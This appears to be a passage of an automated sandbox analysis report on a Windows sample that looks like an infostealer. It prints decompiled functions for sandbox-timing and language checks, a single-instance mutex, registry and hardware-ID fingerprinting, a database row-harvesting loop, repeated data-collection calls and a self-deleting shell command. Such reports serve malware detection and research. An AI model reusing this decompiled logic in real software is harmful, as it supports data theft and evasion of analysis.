Instruction Fuzzy Hash: 49F02876610704AFD7549BB4FC4C99637E9BB486113508534B64A83A32CB75A44B8B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00408090, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408090(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t36;
				CHAR* _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B2C0( &_v276, 0x104);
				_t25 =  *0x41f82c; // 0x8b3db8
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41ffd8(_a4,  &_v8); // executed
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41fbdc; // 0x8b3b58
					_t30 =  *0x41ff90(_v8, _t56, 0xffffffff,  &_v280, 0); // executed
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t35 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t35;
					while(1) {
						_t36 =  *0x41ffac(_v280); // executed
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41ffc8(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t64 = _t67 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x004080a5
0x004080b2
0x004080bf
0x004080d0
0x004080d6
0x004080db
0x004080ec
0x004080f7
0x004080fd
0x00408102
0x004081ad
0x004081b4
0x00000000
0x004081c7
0x00408116
0x0040811c
0x00408122
0x00408129
0x0040812f
0x00408135
0x00000000
0x00000000
0x00408140
0x00408146
0x00408149
0x0040815d
0x0040816f
0x0040816f
0x00408197
0x0040819c
0x004081a8
0x00000000
0x004081a8
0x004081cd

APIs

wsprintfA.USER32 ref: 004080BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040810F
RtlAllocateHeap.NTDLL(00000000), ref: 00408116
lstrcatA.KERNEL32(?,?), ref: 0040815D
lstrcatA.KERNEL32(?,0041D304), ref: 0040816F
lstrlen.KERNEL32(?), ref: 0040817E

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 20510c71d811bedbd717bbe74a989e6600c2210c7e1a16430db7e543dba42fb8
Instruction ID: 77094c5236896d4d68b7cf5e8a97f3419de723a4a06618c0d0e2320b209186d5
Opcode Fuzzy Hash: 20510c71d811bedbd717bbe74a989e6600c2210c7e1a16430db7e543dba42fb8
Instruction Fuzzy Hash: BF3165B190010CABCB14DBA4DC4AFDA7378AF08704F0085A9F709D7191DB759A56CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406690, Relevance: 9.1, APIs: 6, Instructions: 57
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 79%

			_entry_() {
				intOrPtr _v8;
				void* _t8;
				void* _t11;
				void* _t12;
				void* _t13;

				E00401730(); // executed
				E0040BF00(_t19); // executed
				_t8 = E004065D0(); // executed
				_t23 = _t8;
				if(_t8 != 0) {
					_t11 = E00406620(_t23); // executed
					if(_t11 == 0) {
						_t12 = E00406540(); // executed
						if(_t12 != 0) {
							_t13 = E00406660(); // executed
							_t26 = _t13;
							if(_t13 != 0) {
								E004018E0(); // executed
								E0040C0B0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E00406420(_t19, _t26);
								CreateThread(0, 0, E004061A0, 0, 0, 0); // executed
							}
						}
					}
				}
				_v8 = 1;
				while(1 != 0) {
					if( *0x420334 == 0) {
						Sleep(0x29a); // executed
						_t19 = _v8 + 1;
						_v8 = _v8 + 1;
						Sleep(0x3e7); // executed
						_v8 = _v8 - 1;
						Sleep(0x14d); // executed
						continue;
					}
					break;
				}
				E0040BCF0(_t19); // executed
				ExitProcess(0);
			}

0x00406694
0x00406699
0x0040669e
0x004066a3
0x004066a5
0x004066a7
0x004066ae
0x004066b0
0x004066b7
0x004066b9
0x004066be
0x004066c0
0x004066c2
0x004066c7
0x004066db
0x004066e1
0x004066f5
0x004066f5
0x004066c0
0x004066b7
0x004066ae
0x004066fb
0x00406702
0x00406712
0x0040671b
0x00406724
0x00406727
0x0040672f
0x0040673b
0x00406743
0x00000000
0x00406743
0x00000000
0x00406714
0x0040674b
0x00406752

APIs

Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A7A40), ref: 0040BF5C
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008AEA98), ref: 0040BF74
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008AC320), ref: 0040BF8C
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A7A58), ref: 0040BFA5
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A79C8), ref: 0040BFBD
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A7A10), ref: 0040BFD5
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A79E0), ref: 0040BFEE
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A7998), ref: 0040C006
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008AC340), ref: 0040C01E
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74DF0000,008A79B0), ref: 0040C037
Part of subcall function 0040BF00: LoadLibraryA.KERNEL32(008A79F8,?,0040669E), ref: 0040C048
Part of subcall function 0040BF00: LoadLibraryA.KERNEL32(008A7A28,?,0040669E), ref: 0040C05A
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(74B40000,00890E48), ref: 0040C07B

Part of subcall function 004065D0: GetTickCount.KERNEL32 ref: 004065D6
Part of subcall function 004065D0: Sleep.KERNEL32(00002710), ref: 004065E4
Part of subcall function 004065D0: GetTickCount.KERNEL32 ref: 004065EA

CreateThread.KERNEL32 ref: 004066DB

Part of subcall function 00406420: GetSystemTime.KERNEL32(?,?,00000104), ref: 004064A1
Part of subcall function 00406420: lstrcatA.KERNEL32(?,008AC1C0), ref: 004064B5
Part of subcall function 00406420: sscanf.NTDLL ref: 004064F3
Part of subcall function 00406420: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00406507
Part of subcall function 00406420: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00406518
Part of subcall function 00406420: ExitProcess.KERNEL32 ref: 00406532

CreateThread.KERNEL32 ref: 004066F5
Sleep.KERNEL32(0000029A), ref: 0040671B
Sleep.KERNEL32(000003E7), ref: 0040672F
Sleep.KERNEL32(0000014D), ref: 00406743

Part of subcall function 00406540: GetUserDefaultLangID.KERNEL32 ref: 0040654D

Part of subcall function 00406660: CreateMutexA.KERNEL32(00000000,00000000,008AC3A0,?,004066BE), ref: 0040666D
Part of subcall function 00406660: GetLastError.KERNEL32(?,004066BE), ref: 00406673

Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3198), ref: 0040C0CD
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B30F0), ref: 0040C0E5
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008AC6C0), ref: 0040C0FE
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B30D8), ref: 0040C116
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3120), ref: 0040C12E
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3060), ref: 0040C147
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2EE0), ref: 0040C15F
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2FA0), ref: 0040C177
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3090), ref: 0040C190
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3138), ref: 0040C1A8
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B3180), ref: 0040C1C0
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2F10), ref: 0040C1D9
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2F40), ref: 0040C1F1
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2F88), ref: 0040C209
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008AC8C0), ref: 0040C222
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(74DF0000,008B2FB8), ref: 0040C23A

ExitProcess.KERNEL32 ref: 00406752

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$Time$Sleep$CreateSystem$CountExitFileLibraryLoadProcessThreadTick$DefaultErrorLangLastMutexUserlstrcatsscanf
String ID:
API String ID: 2957090156-0
Opcode ID: 8ee6a2c691b79af4d14f694b4edf0e02ce31447afac7d1640b9d5432088bd1fb
Instruction ID: 0b23296c1108d3b2d18bd1629b6766c01d0748a3779a9c15944f48a802ac793c
Opcode Fuzzy Hash: 8ee6a2c691b79af4d14f694b4edf0e02ce31447afac7d1640b9d5432088bd1fb
Instruction Fuzzy Hash: B9116930384305A7F7207BB2DE0BB5E35649F04B4DF22407AFA02792D1DEB9A950956E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC10, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC10() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41fba0; // 0x8a9098
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41fc88; // 0x8b4100
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040ac16
0x0040ac31
0x0040ac3f
0x0040ac4b
0x0040ac53
0x0040ac61
0x0040ac6c
0x0040ac6c
0x0040ac76
0x0040ac82

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AC24
HeapAlloc.KERNEL32(00000000), ref: 0040AC2B
RegOpenKeyExA.KERNEL32(80000002,008A9098,00000000,00020119,?), ref: 0040AC4B
RegQueryValueExA.KERNEL32(?,008B4100,00000000,00000000,?,000000FF), ref: 0040AC6C
RegCloseKey.ADVAPI32(?), ref: 0040AC76

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: ccaa69a5e6f3ee35f5b1adff539f9a09d360c38b35fd3be686d5e83600f4423d
Instruction ID: 6cb41a0b96c465320f22647ac514345443061593054ae293fd73e38c11db2e7e
Opcode Fuzzy Hash: ccaa69a5e6f3ee35f5b1adff539f9a09d360c38b35fd3be686d5e83600f4423d
Instruction Fuzzy Hash: 42013179B40208BBEB10DBD4ED4AFAEB7B8EB48700F404168FB05A6291D6705A158B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB00, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AB00() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41f950; // 0x8a9178
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41fd8c; // 0x8b3a98
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040ab06
0x0040ab21
0x0040ab2f
0x0040ab3b
0x0040ab43
0x0040ab51
0x0040ab5c
0x0040ab5c
0x0040ab66
0x0040ab72

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AB14
HeapAlloc.KERNEL32(00000000), ref: 0040AB1B
RegOpenKeyExA.KERNEL32(80000002,008A9178,00000000,00020119,?), ref: 0040AB3B
RegQueryValueExA.KERNEL32(?,008B3A98,00000000,00000000,?,000000FF), ref: 0040AB5C
RegCloseKey.ADVAPI32(?), ref: 0040AB66

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 287577dd168ceb17308093490bbd5fb0c0ed09ee94a1e29e323562da8a670687
Instruction ID: 1518071c40ec81eac0f0be8e236fb17547765337259958fe3120fbd7993c5c23
Opcode Fuzzy Hash: 287577dd168ceb17308093490bbd5fb0c0ed09ee94a1e29e323562da8a670687
Instruction Fuzzy Hash: 94013175B40208FBE710DBD0ED4AFAEB7B8EB48700F404169FB05A7291D6746A158B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADC0, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADC0() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41fdb8; // 0x8af2a8
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41f9a4; // 0x8b4028
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040adc6
0x0040ade1
0x0040adef
0x0040adfb
0x0040ae03
0x0040ae11
0x0040ae1c
0x0040ae1c
0x0040ae26
0x0040ae32

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040ADD4
HeapAlloc.KERNEL32(00000000), ref: 0040ADDB
RegOpenKeyExA.KERNEL32(80000002,008AF2A8,00000000,00020119,?), ref: 0040ADFB
RegQueryValueExA.KERNEL32(?,008B4028,00000000,00000000,?,000000FF), ref: 0040AE1C
RegCloseKey.ADVAPI32(?), ref: 0040AE26

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fc0a698261e1fa3495ba4ec1d7083bb0c2a50e947e6d8838dc3438f603763c66
Instruction ID: 4ed9d133f8cb759d38acfae2414acf77bd66da204d9393d7ac264a48de49f2bc
Opcode Fuzzy Hash: fc0a698261e1fa3495ba4ec1d7083bb0c2a50e947e6d8838dc3438f603763c66
Instruction Fuzzy Hash: BF013175B40208BFE710DBD4ED4AFAEB7B8EB48704F404164FB05A6291D6705A158B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BCF0(void* __ecx) {
				struct _SHELLEXECUTEINFOA _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B2C0( &_v596, 0x104);
				E0040B2C0( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41fa70; // 0x8b5d38
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B280(_t37,  &_v64, 0, 0x3c);
				_v64.cbSize = 0x3c;
				_v64.fMask = 0;
				_v64.hwnd = 0;
				_t38 =  *0x41fe3c; // 0x8aeaa8
				_v64.lpVerb = _t38;
				_t43 =  *0x41ff18; // 0x8af0a0
				_v64.lpFile = _t43;
				_v64.lpParameters =  &_v596;
				_v64.lpDirectory = 0;
				_v64.nShow = 0;
				_v64.hInstApp = 0;
				ShellExecuteExA( &_v64); // executed
				E0040B2C0( &_v64, 0x3c);
				E0040B2C0( &_v596, 0x104);
				return E0040B2C0( &_v332, 0x104);
			}

0x0040bd05
0x0040bd16
0x0040bd29
0x0040bd36
0x0040bd44
0x0040bd55
0x0040bd5a
0x0040bd61
0x0040bd68
0x0040bd6f
0x0040bd75
0x0040bd78
0x0040bd7e
0x0040bd87
0x0040bd8a
0x0040bd91
0x0040bd98
0x0040bda3
0x0040bdaf
0x0040bdc0
0x0040bdd9

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BD29
wsprintfA.USER32 ref: 0040BD44
ShellExecuteExA.SHELL32(0000003C,?,00000000,0000003C), ref: 0040BDA3

Strings

<, xrefs: 0040BD5A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc32a7fc088cd4d7d4468e4ed57c708046282e69df202d3f82dba94d920c78b2
Instruction ID: a0aff490fc4a5749a2e0bbc5edfaefd417d16427824c959ec6c12907350029f6
Opcode Fuzzy Hash: cc32a7fc088cd4d7d4468e4ed57c708046282e69df202d3f82dba94d920c78b2
Instruction Fuzzy Hash: 04210BB5900208ABDB14EB90DC89FDEB7B8AF44704F4045AEF218B61D1DBB95649CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE40, Relevance: 6.0, APIs: 4, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE40() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;
				int _t8;

				_t8 = GetCurrentHwProfileA( &_v132); // executed
				if(_t8 == 0) {
					return 0x41d8e0;
				}
				_v136 = HeapAlloc(GetProcessHeap(), 0, 0x64);
				E0040B280(_v136, _v136, 0, 4);
				lstrcatA(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040ae4d
0x0040ae55
0x00000000
0x0040ae99
0x0040ae68
0x0040ae79
0x0040ae89
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040AE4D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040AE5B
HeapAlloc.KERNEL32(00000000), ref: 0040AE62
lstrcatA.KERNEL32(?,?,?,00000000,00000004), ref: 0040AE89

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocCurrentProcessProfilelstrcat
String ID:
API String ID: 1316908231-0
Opcode ID: 772447c451fc898a07fa35e0f4097d50ca7fe652166706fd3772658f5a6c6042
Instruction ID: dad48c14d0aa5ddfcca4397cb374ec4a8aa0b7f4434ec057509ceab1f67d781b
Opcode Fuzzy Hash: 772447c451fc898a07fa35e0f4097d50ca7fe652166706fd3772658f5a6c6042
Instruction Fuzzy Hash: 62F08270B403089BEB30EBA4DD49F6A77BCBB04700F4044A9F748E7191DB3599118FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00412290, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412290(intOrPtr __ecx, char _a4) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t85;
				void* _t120;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x48)) == 0) {
					_t85 = E0040B130(__ecx, 0x6afa8); // executed
					_t120 = _t120 + 4;
					_v16 = _t85;
					_t126 = _v16;
					if(_v16 == 0) {
						_v24 = 0;
					} else {
						_v24 = E004123F0(_v16, _t126);
					}
					 *((intOrPtr*)(_v20 + 0x48)) = _v24;
				}
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0xc)) = E004120A0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x10)) = E00411900;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)))) = _v20;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)) = 8;
				 *((char*)( *((intOrPtr*)(_v20 + 0x48)) + 8)) =  *((intOrPtr*)(_v20 + 0x6c));
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((short*)( *((intOrPtr*)(_v20 + 0x48)) + 0xe7e)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6af70)) = 0;
				E0040E9D0( *((intOrPtr*)(_v20 + 0x48)), _v20 + 0x94, 0x4000, 1);
				_t44 =  &_a4; // 0x412d5e
				E0040CF70( *((intOrPtr*)(_v20 + 0x48)),  *_t44 + 0x2a);
				_t47 =  &_a4; // 0x412d5e
				E0040EF90( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *((intOrPtr*)(_v20 + 0x48)),  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *_t47 + 4);
				_v12 = E0040FA60( *((intOrPtr*)(_v20 + 0x48)));
				_t57 =  &_v12; // 0x412d5e
				 *((intOrPtr*)(_v20 + 0x90)) =  *_t57;
				_v8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) != 0) {
					_v8 = 0x5000000;
				}
				return _v8;
			}

0x00412296
0x004122a0
0x004122a7
0x004122ac
0x004122af
0x004122b2
0x004122b6
0x004122c5
0x004122b8
0x004122c0
0x004122c0
0x004122d2
0x004122d2
0x004122db
0x004122eb
0x004122f8
0x00412308
0x00412310
0x00412323
0x0041232c
0x0041233e
0x0041234b
0x0041236d
0x00412375
0x00412383
0x0041238b
0x004123a3
0x004123ba
0x004123c0
0x004123c3
0x004123c9
0x004123dd
0x004123df
0x004123df
0x004123ec

APIs

new[].LIBCMTD ref: 004122A7

Strings

^-A, xrefs: 004123C0
^-A, xrefs: 00412375, 0041238B, 0041237B, 00412391

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: new[]
String ID: ^-A$^-A
API String ID: 4059295235-1487157951
Opcode ID: 670bcd1f6c7a99525a340e7b37f60a5fea5a04a7bd9533af9d76707ab0df1e4a
Instruction ID: edfa12bd1e305194155546270f13f7a6e75403c5354cb0113543e852d6469b74
Opcode Fuzzy Hash: 670bcd1f6c7a99525a340e7b37f60a5fea5a04a7bd9533af9d76707ab0df1e4a
Instruction Fuzzy Hash: A2412DB4A00209DFCB04DF98D894BAEB7B1FF48304F1445A8E9156B392D776AD81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A260, Relevance: 5.0, APIs: 3, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A260(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t132;
				void* _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				_t132 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
				 *0x41ffe0 = _t132; // executed
				E00406C20(); // executed
				 *0x41ffe4 = 0;
				_t241 =  *0x41fa3c; // 0x8b2c48
				_t307 =  *0x41f9fc; // 0x8af028
				E00409F50(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16); // executed
				_t243 =  *0x41f98c; // 0x8b4370
				_t309 =  *0x41ff48; // 0x8b3998
				E00409F50(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16); // executed
				_t245 =  *0x41fef8; // 0x8b4298
				_t311 =  *0x41f84c; // 0x8af168
				E00409F50(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16); // executed
				_t247 =  *0x41fa28; // 0x8b2ad8
				_t313 =  *0x41ff74; // 0x8b3778
				E00409F50(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16); // executed
				_t249 =  *0x41fccc; // 0x8b2b78
				_t315 =  *0x41fde0; // 0x8b3938
				E00409F50(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16); // executed
				_t251 =  *0x41fbd8; // 0x8b2c68
				_t317 =  *0x41ff80; // 0x8b3918
				E00409F50(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16); // executed
				_t253 =  *0x41fd74; // 0x8b2c88
				_t319 =  *0x41fb3c; // 0x8b38d8
				E00409F50(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16); // executed
				_t255 =  *0x41fc28; // 0x8b2aa8
				_t321 =  *0x41f818; // 0x8af280
				E00409F50(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16); // executed
				_t257 =  *0x41f9f8; // 0x8b42b0
				_t323 =  *0x41f918; // 0x8b38f8
				E00409F50(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16); // executed
				_t259 =  *0x41fb8c; // 0x8b4448
				_t325 =  *0x41f984; // 0x8b43d0
				E00409F50(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16); // executed
				_t261 =  *0x41f7d8; // 0x8b2ab8
				_t327 =  *0x41fd88; // 0x8b37b8
				E00409F50(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16); // executed
				_t263 =  *0x41fdbc; // 0x8b2be8
				_t329 =  *0x41fee0; // 0x8af1e0
				E00409F50(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16); // executed
				_t265 =  *0x41fbf0; // 0x8b2ac8
				_t331 =  *0x41fae4; // 0x8b37d8
				E00409F50(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16); // executed
				_t267 =  *0x41f844; // 0x8b2bb8
				_t333 =  *0x41fab0; // 0x8af3e8
				E00409F50(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16); // executed
				_t269 =  *0x41fbec; // 0x8b2b88
				_t335 =  *0x41fd34; // 0x8af348
				E00409F50(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16); // executed
				_t271 =  *0x41fcf8; // 0x8b2bc8
				_t337 =  *0x41ff0c; // 0x8b3a18
				E00409F50(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16); // executed
				_t273 =  *0x41fe88; // 0x8b2ae8
				_t339 =  *0x41fe5c; // 0x8b3a58
				E00409F50(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16); // executed
				_t275 =  *0x41f8b0; // 0x8b42c8
				_t341 =  *0x41f828; // 0x8af410
				E00409F50(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16); // executed
				_t277 =  *0x41feb0; // 0x8b2b98
				_t343 =  *0x41fd70; // 0x8b42e0
				E00409F50(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16); // executed
				_t279 =  *0x41f8c4; // 0x8b42f8
				_t345 =  *0x41fddc; // 0x8af370
				E00409F50(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16); // executed
				_t281 =  *0x41fb94; // 0x8b2ba8
				_t347 =  *0x41fbc0; // 0x8ab060
				E00409F50(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16); // executed
				_t283 =  *0x41fb44; // 0x8b2af8
				_t349 =  *0x41f7d4; // 0x8af398
				E0040A070(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16); // executed
